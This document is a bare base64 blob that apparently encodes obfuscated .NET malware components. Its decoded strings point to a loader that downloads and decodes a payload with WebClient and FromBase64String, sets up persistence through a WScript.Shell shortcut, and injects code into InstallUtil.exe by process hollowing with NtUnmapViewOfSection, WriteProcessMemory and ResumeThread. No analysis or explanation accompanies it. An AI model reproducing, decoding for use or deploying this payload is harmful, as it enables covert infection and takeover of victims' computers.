Y29ybGliAE1pY3Jvc29mdC5WaXN1YWxCYXNpYwBMb2FkAHJlZWQAU3luY2hyb25pemVkAEdldE1ldGhvZAB0ZXN0ZABDcmVhdGVJbnN0YW5jZQBHZXRIYXNoQ29kZQBXaWUASW52b2tlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFNlY3VyaXR5UHJvdG9jb2xUeXBlAEdldFR5cGUATWV0aG9kQmFzZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBHdWlkQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAE5ld0xhdGVCaW5kaW5nAHNldF9FbmNvZGluZwBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEZyb21CYXNlNjRTdHJpbmcARG93bmxvYWRTdHJpbmcAVG9TdHJpbmcAR2V0Rm9sZGVyUGF0aABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAQ2xhc3NMaWJyYXJ5My5kbGwAc2V0X1NlY3VyaXR5UHJvdG9jb2wAU3lzdGVtAFRyaW0AQm9vbGVhbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AVmVyc2lvbgBTeXN0ZW0uQ29uZmlndXJhdGlvbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBJbnRlcmFjdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBFeGNlcHRpb24ATWV0aG9kSW5mbwBDdWx0dXJlSW5mbwBsaXhvbwBsaXhvAFNwZWNpYWxGb2xkZXIAUmVzb3VyY2VNYW5hZ2VyAFNlcnZpY2VQb2ludE1hbmFnZXIAVXNlcgBDb21wdXRlcgBUb0xvd2VyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMAQ2xhc3NMaWJyYXJ5My5SZXNvdXJjZXMucmVzb3VyY2VzAFN0cmluZ3MAUmVmZXJlbmNlRXF1YWxzAENvbnRhaW5zAFJ1bnRpbWVIZWxwZXJzAENvbmNhdABDcmVhdGVPYmplY3QAR2V0T2JqZWN0AExhdGVHZXQAU3lzdGVtLk5ldABMYXRlU2V0AFdlYkNsaWVudABFbnZpcm9ubWVudABDb252ZXJ0AFN5c3RlbS5UZXh0AGdldF9Bc3NlbWJseQBFbXB0eQAAL0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBSAGUAcwBvAHUAcgBjAGUAcwAAG0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEAAAVqAHMAAAcuAGoAcwAAAzMAABtXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsAAABAB1DAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAAANcAAAJLgBsAG4AawAAFVQAYQByAGcAZQB0AFAAYQB0AGgAABlJAGMAbwBuAEwAbwBjAGEAdABpAG8AbgAAIWkAbQBhAGcAZQByAGUAcwAuAGQAbABsACwAIAAyADcAABdXAGkAbgBkAG8AdwBTAHQAeQBsAGUAAAlTAGEAdgBlAABFawByAG8AdwBlAG0AYQByAEYAXABUAEUATgAuAHQAZgBvAHMAbwByAGMAaQBNAFwAcwB3AG8AZABuAGkAVwBcADoAQwAAFzkAMQAzADAAMwAuADAALgA0AHYAXAAAKUMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBDAGwAYQBzAHMAMQAAB1IAdQBuAAAhXABJAG4AcwB0AGEAbABsAFUAdABpAGwALgBlAHgAZQAAAPneo+4+E3ZLj7wJCeN45/AAAyAAAQUgAQEREQYVEigBEgwGFRIoARIIBhUSKAESGQYVEigBEiQEIAATAAQAARwcBCABAhwDIAAIBgABEikRLQMgAA4CHgAFEAEAHgAGFRI1ARMABhUSKAETAAcGFRI1ARMAAhMABSABARMABQACAhwcBCAAEkEGIAIBDhJBAh0FBiACHA4SPQYAARJJEkkCBg4EIAECDgUAAhwODgUAAQ4RYQcABA4ODg4OEAAHHBwSKQ4dHB0OHRIpHQIOAAYBHBIpDh0cHQ4dEikCHRwRAAgcHBIpDh0cHQ4dEikdAgIFAAEBEk0DAAABBQABARFxBAAAEnUFIAEBEnUEIAEODgQAAQ4OBQACDg4OBAAAEn0GIAESQR0FBSABEikOBiABEoCBDgUAAR0FDgYgAhwcHRwEIAEBCAQgAQEOBCABAQIHIAQBDg4ODgQHARIMBAcBEggEBwESGQQHARIkBwcDEjkCEjkEBwESPQUHAh0FHAQHARIYEwcNDg4CAgIcHBJNDhJRDhJREk0DBwEOAwcBAgMHAQgEBwESKQUHAh4AAgQKAR4ABwcDEwATAAIECgETAAiwP19/EdUKOgi3elxWGTTgiRAxAC4AMAAuADEANQAuADAABwYVEigBEgwHBhUSKAESCAcGFRIoARIZBwYVEigBEiQDBhI5AwYSPQMGEhgEAAASDAQAABIIBAAAEhkEAAASJAQAABI5BAAAEj0FAAEBEj0EAAAdBQQAABIYCQAGAQ4ODg4ODgQgABIpBxABAR4AHgAHMAEBARAeAAgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwESAQANQ2xhc3NMaWJyYXJ5MwAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAyNAAAKQEAJGQwNTU5ZWVjLTAwNDItNDFlZC1iZTUyLTNmMTk1Y2FhMGFjMQAADAEABzEuMC4wLjAAAEkBABouTkVURnJhbWV3b3JrLFZlcnNpb249djQuOAEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUSLk5FVCBGcmFtZXdvcmsgNC44BAEAAAAIAQABAAAAAAAIAQACAAAAAABhAQA0U3lzdGVtLldlYi5TZXJ2aWNlcy5Qcm90b2NvbHMuU29hcEh0dHBDbGllbnRQcm90b2NvbBJDcmVhdGVfX0luc3RhbmNlX18TRGlzcG9zZV9fSW5zdGFuY2VfXwAAAB0BAAEAVAIVU3RyaXBBZnRlck9iZnVzY2F0aW9uAADgKAAAzsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAABAAAAAAAAAFBBRFBBRFAlxm9VAAAAANsAAAAaQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAAAAAAIAAoAABNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAYgRyZgAAAAAAAAAA4AAiIAsBUAAAIAAAAAYAAAAAAAASPwAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwD4AAE8AAAAAQAAAmAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAAAAAALnRleHQAAAAYHwAAACAAAAAgAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAmAMAAABAAAAABAAAACIAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAmAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPQ+AAAAAAAASAAAAAIABQCMKQAAfBQAAAEAAAAAAAAACD4AALgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoAQAACioeAigDAAAKKhMwCABJAAAAAAAAAHMEAAAKgAEAAAQWKwEWRQMAAAACAAAADwAAABwAAAArJ3MFAAAKgAIAAAQXK+BzBgAACoADAAAEGCvTcwcAAAqABAAABBkrxioAAAATMAEAEwAAAAEAABEXKwEWLAB+AQAABG8IAAAKCgYqABMwAQATAAAAAgAAERcrARYsAH4CAAAEbwkAAAoKBioAEzABABMAAAADAAARFysBFiwAfgMAAARvCgAACgoGKgATMAEAEwAAAAQAABEXKwEWLAB+BAAABG8LAAAKCgYqABMwAgBXAAAABQAAEX4FAAAEFCgaAAAKCxYrARZFAwAAAAIAAAAiAAAAKwAAACsyBywmcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACgwXK80IgAUAAAQYK8R+BQAABAoZK7sGKgATMAEADgAAAAYAABEXKwEWLAB+BgAABAoGKh4CgAYAAAQqVnMMAAAGKB0AAAp0BgAAAoAHAAAEKh4CKB4AAAoqEzABAA4AAAAHAAARFysBFiwAfgcAAAQKBioAABMwAQAOAAAABwAAERcrARYsACgNAAAGCgYqHgIoEgAACioAABMwBABDAAAACAAAERcLAn4gAAAKAxcoGwAABgwWKwEWRQMAAAACAAAACgAAABMAAAArGggsBxcKFyvlKxAHF9YLGCvcBxsxxhYKGSvTBioAGzAKAKgFAAAJAAARcjEAAHACKCEAAAoMFisBFkUEAAAABQAAABAAAAAbAAAAJgAAADh8BQAAEgP+FQwAAAIXK9sSBP4VCwAAAhgr0BIDFn0YAAAEGSvFEgPQDAAAAigPAAAKKCIAAAq4fQ0AAAQDKCMAAAoW/gETEhYrARZFKgAAAAUAAAAcAAAARAAAAF4AAABxAAAAgwAAAJIAAACiAAAAvwAAAOUAAAD9AAAAHgEAADcBAABVAQAAcwEAAIcBAACnAQAAuwEAAMkBAADoAQAA9gEAAB8CAAA6AgAATQIAAFoCAABkAgAAfQIAAJECAAClAgAAswIAAMsCAADhAgAABgMAAB4DAAA9AwAAXgMAAHwDAACHAwAAoAMAALEDAADPAwAA9QMAADgSBAAAERIsEwhyPQAAcAMoJAAACgwXODf///8CCH4lAAAKfiUAAAoWGn4lAAAKFBIDEgQoEAAABhb+ARMTGDgP////ERMsBnMmAAAKegQfPCgnAAAKEwUZOPX+//8EEQUfNNYoJwAAChMGGjji/v//ILMAAACNCQAAARMHGzjQ/v//EQcWIAIAAQCeHDjB/v//KCgAAAoa/gETFB04sf7//xEULCURBHsKAAAEEQcoEQAABhb+ARMVHjiU/v//ERUsBnMmAAAKeiskEQR7CgAABBEHKBIAAAYW/gETFh8JOG7+//8RFiwGcyYAAAp6EQcfKZQTCB8KOFb+//8RBHsJAAAEEQge1hIJGhIBKBUAAAYW/gETFx8LODX+//8RFywGcyYAAAp6EQYRCf4BExgfDDgc/v//ERgsJBEEewkAAAQRCSgXAAAGFv4DExkfDTj+/f//ERksBnMmAAAKegQRBR9Q1ignAAAKEwofDjjg/f//BBEFH1TWKCcAAAoTCx8POMz9//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHxA4rP3//wUtBxENFv4BKwEWExofETiY/f//ERosKRcTDB8SOIr9//8RBHsJAAAEFhEKIAAwAAAfQCgYAAAGEw0fEzhr/f//EQ0W/gETGx8UOF39//8RGywGcyYAAAp6EQR7CQAABBENBBELEgEoFgAABhb+ARMcHxU4NP3//xEcLAZzJgAACnoRBSD4AAAA1hMOHxY4Gf3//wQRBRzWKCkAAAoTDx8XOAb9//8RDxfaEx0fGDj5/P//FhMeHxk47/z//zi7AAAABBEOHwzWKCcAAAoTHx8aONb8//8EEQ4fENYoJwAAChMgHxs4wvz//wQRDh8U1ignAAAKEyEfHDiu/P//ESAW/gMTIh8dOKD8//8RIixZESAX2hfWjRoAAAETIx8eOIj8//8EESERIxYRI45pKCoAAAofHzhy/P//EQR7CQAABBENER/WESMRI45pEgEoFgAABhb+ARMkHyA4Tfz//xEkLAZzJgAACnoRDh8o1hMOHyE4Nfz//xEeF9YTHhEeER0+PP///xENKCsAAAoTEB8iOBb8//8RBHsJAAAEEQge1hEQGhIBKBYAAAYW/gETJR8jOPX7//8RJSwGcyYAAAp6BBEFHyjWKCcAAAoTER8kONf7//8RDBMmHyU4zPv//xEmLAQRBhMNEQcfLBENERHWnh8mOLP7//8oKAAAChr+ARMnHyc4ovv//xEnLCYRBHsKAAAEEQcoEwAABhb+ARMoHyg4hPv//xEoLAZzJgAACnorJBEEewoAAAQRBygUAAAGFv4BEykfKThe+///ESksBnMmAAAKehEEewoAAAQoGQAABhX+ARMqHyo4PPv//xEqLAZzJgAACnreXSgsAAAKFisBFkUFAAAAAgAAABQAAAAeAAAALAAAADEAAAArNxEEewsAAASEKC0AAAoTKxcr0xErFP4DEywYK8kRLCwKEStvLgAAChkruxYKGiu2KC8AAAobK67eCBcKGjhq+v//BipBHAAAAAAAAGIAAADfBAAAQQUAAF0AAAAYAAABEzACABUAAAAKAAARFysBFiwAAgMoDAAACigNAAAKCgYqAAAAEzABAA8AAAALAAARFysBFiwAAigOAAAKCgYqABMwAQATAAAADAAAERcrARYsANAJAAACKA8AAAoKBioAEzABAA8AAAANAAARFysBFiwAAigQAAAKCgYqABMwAgAyAAAADgAAEQKMBQAAGxT+AQsWKwEWRQIAAAACAAAADgAAACsTBywLKAEAACsKFyvlKwUCChgr3gYqIgP+FQUAABsqHgIoEgAACioAEzACAFYAAAAPAAARAnsTAAAKbxQAAAoLFisBFkUEAAAAAgAAAA8AAAAbAAAAKgAAACstB4wIAAAbFP4BDBcr3AgsGCgCAAArCxgr0AJ7EwAACgdvFgAAChkrwQcKGiu8BipiFysBFiwAAigSAAAKAnMYAAAKfRMAAAoqHgIoMAAACioAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBs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aHJlYWQAU3luY2hyb25pemVkAENyZWF0ZUluc3RhbmNlAEdldEhhc2hDb2RlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFZhbHVlVHlwZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZ2V0X1NpemUAU2l6ZU9mAFRvU3RyaW5nAHBhdGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQBCb29sZWFuAFZlcnNpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24ATnRVbm1hcFZpZXdPZlNlY3Rpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBDdWx0dXJlSW5mbwBaZXJvAEJ1ZmZlcgBSZXNvdXJjZU1hbmFnZXIAVXNlcgBCaXRDb252ZXJ0ZXIAQ29tcHV0ZXIAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuUmVzb3VyY2VzLnJlc291cmNlcwBHZXRCeXRlcwBSZWZlcmVuY2VFcXVhbHMAUnVudGltZUhlbHBlcnMAQ3JlYXRlUHJvY2VzcwBDb25jYXQARm9ybWF0AE9iamVjdABXb3c2NEdldFRocmVhZENvbnRleHQAV293NjRTZXRUaHJlYWRDb250ZXh0AFZpcnR1YWxBbGxvY0V4AEFycmF5AGdldF9Bc3NlbWJseQBCbG9ja0NvcHkAUmVhZFByb2Nlc3NNZW1vcnkAV3JpdGVQcm9jZXNzTWVtb3J5AFN5c3RlbS5TZWN1cml0eQBJc051bGxPckVtcHR5AAAvQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAuAFIAZQBzAG8AdQByAGMAZQBzAAALIgB7ADAAfQAiAAADIAAAAAAA/CfjrbM7ckihJ/4I2ykiTQADIAABBSABARERBhUSKAESDAYVEigBEggGFRIoARIZBhUSKAESJAQgABMABAABHBwEIAECHAMgAAgGAAESKREtAyAADgIeAAUQAQAeAAYVEjUBEwAGFRIoARMABwYVEjUBEwACEwAFIAEBEwAFAAICHBwEIAASQQYgAgEOEkEGAAESSRJJAgYOBQACDg4cBQABCBIpBAABAg4GAAMODg4OAgYYBgACCB0FCAMAAAgGAAIGHQUIAh0FCgAFARJxCBJxCAgFAAEdBQgFAAEBEmEFAAESVQgDAAABBCABAQgEIAEBDgQgAQECByAEAQ4ODg4EBwESDAQHARIIBAcBEhkEBwESJAcHAxI5AhI5BAcBEj0EBwESGAUHAwIIAjUHLQIIDhEwESwICB0ICAgICAIICAYdBQgCAgICAgICAgICAggICAgIAh0FAgICAgICAhJVAgMHAQIDBwEIBAcBEikDBwEOBQcCHgACBAoBHgAHBwMTABMAAgQKARMACLA/X38R1Qo6CLd6XFYZNOCJEDEALgAwAC4AMQA1AC4AMAAHBhUSKAESDAcGFRIoARIIBwYVEigBEhkHBhUSKAESJAMGEjkDBhI9AwYSGAIGCQIGCAIGBgQAABIMBAAAEggEAAASGQQAABIkBAAAEjkEAAASPQUAAQESPQQAABIYEQAKAg4OGBgCCRgOEBEwEBEsBgACAhgdCAoABQIYCBAICBAICgAFAhgIHQUIEAgFAAIIGAgIAAUIGAgICAgEAAEIGAYAAgIOHQUIAAQCDg4dBQIEIAASKQcQAQEeAB4ABzABAQEQHgAIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBEgEADUNsYXNzTGlicmFyeTEAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMjEAACkBACQ0NTE2RTBFMS01QzBFLTRCNEUtOUEzMi05RTM3RTIzRTc0MjYAAAwBAAcxLjAuMC4wAAAEAQAAAAgBAAEAAAAAAAgBAAIAAAAAAGEBADRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9fAAAAHQEAAQBUAhVTdHJpcEFmdGVyT2JmdXNjYXRpb24AtAAAAM7K774BAAAAkQAAAGxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlUmVhZGVyLCBtc2NvcmxpYiwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkjU3lzdGVtLlJlc291cmNlcy5SdW50aW1lUmVzb3VyY2VTZXQCAAAAAAAAAAAAAABQQURQQURQtAAAAOg+AAAAAAAAAAAAAAI/AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0PgAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA